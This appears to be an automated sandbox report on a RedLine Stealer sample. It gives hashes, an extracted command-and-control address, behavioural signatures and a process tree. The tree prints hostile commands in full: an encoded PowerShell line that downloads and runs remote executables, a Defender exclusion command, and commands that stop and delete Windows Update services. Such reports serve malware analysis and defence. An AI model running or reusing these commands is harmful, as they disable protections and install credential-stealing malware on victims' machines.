Analysis
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max time kernel
45s -
max time network
86s -
platform
windows10-2004_x64 -
resource
win10v2004-20220812-en -
resource tags
arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system -
submitted
14-01-2023 13:01
Static task
static1
Behavioral task
behavioral1
Sample
26154e506c39c8b4681cc38a19c87249f8ce3ae6.exe
Resource
win7-20220812-en
Behavioral task
behavioral2
Sample
26154e506c39c8b4681cc38a19c87249f8ce3ae6.exe
Resource
win10v2004-20220812-en
General
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Target
26154e506c39c8b4681cc38a19c87249f8ce3ae6.exe
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Size
217KB
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MD5
15dec13bdd63907e5fcda9e7e621e1a2
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SHA1
26154e506c39c8b4681cc38a19c87249f8ce3ae6
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SHA256
569d9035ed630038599104bb8c770473e8cff91b3554a1deb4f4028b578429d3
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SHA512
4a14c459e417d37cb841805e125c745b4bdbabd1611bbad7813b20cef639e9af99f981c16f94f7ab41765c34e6a1fa053f87a2755ce613db1d17171d72437586
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SSDEEP
6144:AntQ758qxOopgCXDww83kI5vAOI3F5VyLchfn09c:AtQ758qxOopgzvuf0G
Malware Config
Extracted
redline
1
107.182.129.73:21733
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auth_value
3a5bb0917495b4312d052a0b8977d2bb
Signatures
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Modifies security service 2 TTPs 5 IoCs
description ioc Process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0 reg.exe -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
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RedLine payload 1 IoCs
resource yara_rule behavioral2/memory/1604-177-0x0000000000400000-0x0000000000420000-memory.dmp family_redline -
Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
description pid Process procid_target PID 2120 created 2648 2120 SmartDefRun.exe 33 PID 2120 created 2648 2120 SmartDefRun.exe 33 PID 2120 created 2648 2120 SmartDefRun.exe 33 PID 2120 created 2648 2120 SmartDefRun.exe 33 PID 952 created 576 952 powershell.EXE 5 -
Blocklisted process makes network request 1 IoCs
flow pid Process 5 3152 powershell.exe -
Downloads MZ/PE file
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Drops file in Drivers directory 1 IoCs
description ioc Process File created C:\Windows\System32\drivers\etc\hosts SmartDefRun.exe -
Executes dropped EXE 4 IoCs
pid Process 752 C4Loader.exe 804 new2.exe 2148 SysApp.exe 2120 SmartDefRun.exe -
Stops running service(s) 3 TTPs
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Uses the VBS compiler for execution 1 TTPs
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Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
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Suspicious use of SetThreadContext 4 IoCs
description pid Process procid_target PID 2268 set thread context of 4236 2268 26154e506c39c8b4681cc38a19c87249f8ce3ae6.exe 80 PID 804 set thread context of 1604 804 new2.exe 92 PID 2120 set thread context of 3960 2120 SmartDefRun.exe 112 PID 952 set thread context of 2564 952 powershell.EXE 117 -
Drops file in Program Files directory 1 IoCs
description ioc Process File created C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe SmartDefRun.exe -
Launches sc.exe 5 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 4916 sc.exe 4992 sc.exe 2316 sc.exe 4348 sc.exe 4156 sc.exe -
Program crash 2 IoCs
pid pid_target Process procid_target 3256 2268 WerFault.exe 78 3124 804 WerFault.exe 87 -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE -
Suspicious behavior: EnumeratesProcesses 33 IoCs
pid Process 3152 powershell.exe 3152 powershell.exe 2148 SysApp.exe 2148 SysApp.exe 2148 SysApp.exe 2148 SysApp.exe 2148 SysApp.exe 2148 SysApp.exe 2148 SysApp.exe 2148 SysApp.exe 2148 SysApp.exe 2148 SysApp.exe 2120 SmartDefRun.exe 2120 SmartDefRun.exe 3976 powershell.exe 3976 powershell.exe 2120 SmartDefRun.exe 2120 SmartDefRun.exe 2120 SmartDefRun.exe 2120 SmartDefRun.exe 3240 powershell.exe 3240 powershell.exe 2120 SmartDefRun.exe 2120 SmartDefRun.exe 4004 powershell.EXE 952 powershell.EXE 952 powershell.EXE 4004 powershell.EXE 952 powershell.EXE 2564 dllhost.exe 2564 dllhost.exe 2564 dllhost.exe 2564 dllhost.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 3152 powershell.exe Token: SeDebugPrivilege 3976 powershell.exe Token: SeDebugPrivilege 3240 powershell.exe Token: SeIncreaseQuotaPrivilege 3240 powershell.exe Token: SeSecurityPrivilege 3240 powershell.exe Token: SeTakeOwnershipPrivilege 3240 powershell.exe Token: SeLoadDriverPrivilege 3240 powershell.exe Token: SeSystemProfilePrivilege 3240 powershell.exe Token: SeSystemtimePrivilege 3240 powershell.exe Token: SeProfSingleProcessPrivilege 3240 powershell.exe Token: SeIncBasePriorityPrivilege 3240 powershell.exe Token: SeCreatePagefilePrivilege 3240 powershell.exe Token: SeBackupPrivilege 3240 powershell.exe Token: SeRestorePrivilege 3240 powershell.exe Token: SeShutdownPrivilege 3240 powershell.exe Token: SeDebugPrivilege 3240 powershell.exe Token: SeSystemEnvironmentPrivilege 3240 powershell.exe Token: SeRemoteShutdownPrivilege 3240 powershell.exe Token: SeUndockPrivilege 3240 powershell.exe Token: SeManageVolumePrivilege 3240 powershell.exe Token: 33 3240 powershell.exe Token: 34 3240 powershell.exe Token: 35 3240 powershell.exe Token: 36 3240 powershell.exe Token: SeIncreaseQuotaPrivilege 3240 powershell.exe Token: SeSecurityPrivilege 3240 powershell.exe Token: SeTakeOwnershipPrivilege 3240 powershell.exe Token: SeLoadDriverPrivilege 3240 powershell.exe Token: SeSystemProfilePrivilege 3240 powershell.exe Token: SeSystemtimePrivilege 3240 powershell.exe Token: SeProfSingleProcessPrivilege 3240 powershell.exe Token: SeIncBasePriorityPrivilege 3240 powershell.exe Token: SeCreatePagefilePrivilege 3240 powershell.exe Token: SeBackupPrivilege 3240 powershell.exe Token: SeRestorePrivilege 3240 powershell.exe Token: SeShutdownPrivilege 3240 powershell.exe Token: SeDebugPrivilege 3240 powershell.exe Token: SeSystemEnvironmentPrivilege 3240 powershell.exe Token: SeRemoteShutdownPrivilege 3240 powershell.exe Token: SeUndockPrivilege 3240 powershell.exe Token: SeManageVolumePrivilege 3240 powershell.exe Token: 33 3240 powershell.exe Token: 34 3240 powershell.exe Token: 35 3240 powershell.exe Token: 36 3240 powershell.exe Token: SeIncreaseQuotaPrivilege 3240 powershell.exe Token: SeSecurityPrivilege 3240 powershell.exe Token: SeTakeOwnershipPrivilege 3240 powershell.exe Token: SeLoadDriverPrivilege 3240 powershell.exe Token: SeSystemProfilePrivilege 3240 powershell.exe Token: SeSystemtimePrivilege 3240 powershell.exe Token: SeProfSingleProcessPrivilege 3240 powershell.exe Token: SeIncBasePriorityPrivilege 3240 powershell.exe Token: SeCreatePagefilePrivilege 3240 powershell.exe Token: SeBackupPrivilege 3240 powershell.exe Token: SeRestorePrivilege 3240 powershell.exe Token: SeShutdownPrivilege 3240 powershell.exe Token: SeDebugPrivilege 3240 powershell.exe Token: SeSystemEnvironmentPrivilege 3240 powershell.exe Token: SeRemoteShutdownPrivilege 3240 powershell.exe Token: SeUndockPrivilege 3240 powershell.exe Token: SeManageVolumePrivilege 3240 powershell.exe Token: 33 3240 powershell.exe Token: 34 3240 powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2268 wrote to memory of 4236 2268 26154e506c39c8b4681cc38a19c87249f8ce3ae6.exe 80 PID 2268 wrote to memory of 4236 2268 26154e506c39c8b4681cc38a19c87249f8ce3ae6.exe 80 PID 2268 wrote to memory of 4236 2268 26154e506c39c8b4681cc38a19c87249f8ce3ae6.exe 80 PID 2268 wrote to memory of 4236 2268 26154e506c39c8b4681cc38a19c87249f8ce3ae6.exe 80 PID 2268 wrote to memory of 4236 2268 26154e506c39c8b4681cc38a19c87249f8ce3ae6.exe 80 PID 4236 wrote to memory of 3152 4236 vbc.exe 84 PID 4236 wrote to memory of 3152 4236 vbc.exe 84 PID 4236 wrote to memory of 3152 4236 vbc.exe 84 PID 3152 wrote to memory of 752 3152 powershell.exe 86 PID 3152 wrote to memory of 752 3152 powershell.exe 86 PID 3152 wrote to memory of 752 3152 powershell.exe 86 PID 3152 wrote to memory of 804 3152 powershell.exe 87 PID 3152 wrote to memory of 804 3152 powershell.exe 87 PID 3152 wrote to memory of 804 3152 powershell.exe 87 PID 3152 wrote to memory of 2148 3152 powershell.exe 88 PID 3152 wrote to memory of 2148 3152 powershell.exe 88 PID 3152 wrote to memory of 2148 3152 powershell.exe 88 PID 3152 wrote to memory of 2120 3152 powershell.exe 89 PID 3152 wrote to memory of 2120 3152 powershell.exe 89 PID 804 wrote to memory of 1604 804 new2.exe 92 PID 804 wrote to memory of 1604 804 new2.exe 92 PID 804 wrote to memory of 1604 804 new2.exe 92 PID 804 wrote to memory of 1604 804 new2.exe 92 PID 804 wrote to memory of 1604 804 new2.exe 92 PID 4744 wrote to memory of 4916 4744 cmd.exe 102 PID 4744 wrote to memory of 4916 4744 cmd.exe 102 PID 4744 wrote to memory of 4992 4744 cmd.exe 103 PID 4744 wrote to memory of 4992 4744 cmd.exe 103 PID 4744 wrote to memory of 2316 4744 cmd.exe 104 PID 4744 wrote to memory of 2316 4744 cmd.exe 104 PID 4744 wrote to memory of 4348 4744 cmd.exe 105 PID 4744 wrote to memory of 4348 4744 cmd.exe 105 PID 4744 wrote to memory of 4156 4744 cmd.exe 106 PID 4744 wrote to memory of 4156 4744 cmd.exe 106 PID 4744 wrote to memory of 4856 4744 cmd.exe 107 PID 4744 wrote to memory of 4856 4744 cmd.exe 107 PID 4744 wrote to memory of 992 4744 cmd.exe 108 PID 4744 wrote to memory of 992 4744 cmd.exe 108 PID 4744 wrote to memory of 4972 4744 cmd.exe 109 PID 4744 wrote to memory of 4972 4744 cmd.exe 109 PID 4744 wrote to memory of 2860 4744 cmd.exe 110 PID 4744 wrote to memory of 2860 4744 cmd.exe 110 PID 4744 wrote to memory of 5080 4744 cmd.exe 111 PID 4744 wrote to memory of 5080 4744 cmd.exe 111 PID 2120 wrote to memory of 3960 2120 SmartDefRun.exe 112 PID 952 wrote to memory of 2564 952 powershell.EXE 117 PID 952 wrote to memory of 2564 952 powershell.EXE 117 PID 952 wrote to memory of 2564 952 powershell.EXE 117 PID 952 wrote to memory of 2564 952 powershell.EXE 117 PID 952 wrote to memory of 2564 952 powershell.EXE 117 PID 952 wrote to memory of 2564 952 powershell.EXE 117 PID 952 wrote to memory of 2564 952 powershell.EXE 117 PID 952 wrote to memory of 2564 952 powershell.EXE 117 PID 952 wrote to memory of 2564 952 powershell.EXE 117 PID 2564 wrote to memory of 576 2564 dllhost.exe 5 PID 2564 wrote to memory of 664 2564 dllhost.exe 3 PID 2564 wrote to memory of 940 2564 dllhost.exe 74 PID 2564 wrote to memory of 1016 2564 dllhost.exe 73 PID 2564 wrote to memory of 440 2564 dllhost.exe 9 PID 2564 wrote to memory of 424 2564 dllhost.exe 72 PID 2564 wrote to memory of 880 2564 dllhost.exe 71 PID 2564 wrote to memory of 1040 2564 dllhost.exe 69 PID 2564 wrote to memory of 1100 2564 dllhost.exe 68 PID 2564 wrote to memory of 1180 2564 dllhost.exe 67
Processes
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:664
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:576
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:1016
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{e6cdfacb-ca64-4a6f-bfcd-20121c2f48aa}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2564
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:440
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:2648
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C:\Users\Admin\AppData\Local\Temp\26154e506c39c8b4681cc38a19c87249f8ce3ae6.exe"C:\Users\Admin\AppData\Local\Temp\26154e506c39c8b4681cc38a19c87249f8ce3ae6.exe"2⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:2268 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"3⤵
- Suspicious use of WriteProcessMemory
PID:4236 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdABhACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYwBqAHIAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegBjAHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgB4AHoAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcALAAgADwAIwBhAGEAYQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGMAZAB6ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGwAcwBqACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcAKQApADwAIwB3AGQAcwAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGoAYgBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQB6AGEAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAYwBlAGMAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBtAGIAegAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAHkAcwBBAHAAcAAuAGUAeABlACcALAAgADwAIwBqAHcAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGYAcQB0ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHcAYgBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApACkAPAAjAHUAYQB3ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcALAAgADwAIwBoAGkAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHQAcAB2ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHQAcgBzACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcAKQApADwAIwBqAGwAcAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBkAGMAcgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAZAB3AHAAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApADwAIwBoAHgAZwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBwAGcAeQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAbQBkAGYAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQA8ACMAdgBoAGUAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZQBxAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGoAbABkACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApADwAIwB5AGkAbQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBjAGEAZQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAcABrAGoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwBtAGEAcgB0AEQAZQBmAFIAdQBuAC4AZQB4AGUAJwApADwAIwBoAGYAZAAjAD4A"4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3152 -
C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"5⤵
- Executes dropped EXE
PID:752
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C:\Users\Admin\AppData\Local\Temp\new2.exe"C:\Users\Admin\AppData\Local\Temp\new2.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:804 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"6⤵PID:1604
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 804 -s 5086⤵
- Program crash
PID:3124
-
-
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C:\Users\Admin\AppData\Local\Temp\SysApp.exe"C:\Users\Admin\AppData\Local\Temp\SysApp.exe"5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:2148
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C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"5⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2120
-
-
-
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2268 -s 2403⤵
- Program crash
PID:3256
-
-
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3976
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
- Suspicious use of WriteProcessMemory
PID:4744 -
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
PID:4916
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C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
PID:4992
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C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
PID:2316
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C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
PID:4348
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C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
PID:4156
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵PID:4856
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵PID:992
